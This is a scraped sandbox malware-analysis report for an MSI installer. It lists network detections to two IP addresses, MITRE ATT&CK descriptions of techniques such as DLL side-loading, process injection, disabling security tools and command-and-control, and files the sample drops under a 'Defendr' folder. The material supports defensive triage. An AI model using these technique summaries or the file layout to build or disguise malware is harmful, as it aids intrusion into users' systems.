Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26

Description:	Adversaries may move onto systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into a system and executes. In the case of Lateral Movement, this may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system. In the case of Initial Access, this may occur through manual manipulation of the media, modification of systems used to initially format the media, or modification to the media's firmware itself.
Tactics:	Initial Access, Lateral Movement
Data Sources:	Drive: Drive Creation, File: File Access, File: File Creation, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.
Tactics:	Privilege Escalation
Data Sources:	Driver: Driver Load, Process: Process Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system.Peripheral devices could include auxiliary resources that support a variety of functionalities such as keyboards, printers, cameras, smart card readers, or removable storage. The information may be used to enhance their awareness of the system and network environment or may be used for further actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report APP-DANF0001S7D88002555555222S5S.msi

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Config.Msi\4fc2c5.rbs

C:\Users\user\AppData\Local\Temp\MSIfc16b.LOG

C:\Users\user\AppData\Roaming\Defendr\AGLoader.dll

C:\Users\user\AppData\Roaming\Defendr\LKdayanJELT9QDD900055.exe

C:\Users\user\AppData\Roaming\Defendr\cont.cmd

C:\Users\user\AppData\Roaming\Defendr\iframe\rolloutfile.tv0.0.tv

C:\Users\user\AppData\Roaming\Defendr\iframe\rolloutfile.tv0.1.tv

C:\Users\user\AppData\Roaming\Defendr\iframe\rolloutfile.tv0.2.tv

C:\Users\user\AppData\Roaming\Defendr\iframe\rolloutfile.tv1.1.tv

C:\Users\user\AppData\Roaming\Defendr\iframe\rolloutfile.tv1.2.tv

C:\Users\user\AppData\Roaming\Defendr\iframe\rolloutfile.tv1.3.tv

C:\Users\user\AppData\Roaming\Defendr\iframe\rolloutfile.tv10.0.tv

C:\Users\user\AppData\Roaming\Defendr\iframe\rolloutfile.tv10.1.tv

C:\Users\user\AppData\Roaming\Defendr\iframe\rolloutfile.tv11.0.tv

C:\Users\user\AppData\Roaming\Defendr\iframe\rolloutfile.tv11.1.tv

C:\Users\user\AppData\Roaming\Defendr\iframe\rolloutfile.tv12.0.tv

C:\Users\user\AppData\Roaming\Defendr\iframe\rolloutfile.tv12.1.tv

C:\Users\user\AppData\Roaming\Defendr\iframe\rolloutfile.tv13.0.tv

C:\Users\user\AppData\Roaming\Defendr\iframe\rolloutfile.tv13.1.tv

C:\Users\user\AppData\Roaming\Defendr\iframe\rolloutfile.tv14.0.tv

Windows Analysis Report
APP-DANF0001S7D88002555555222S5S.msi

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre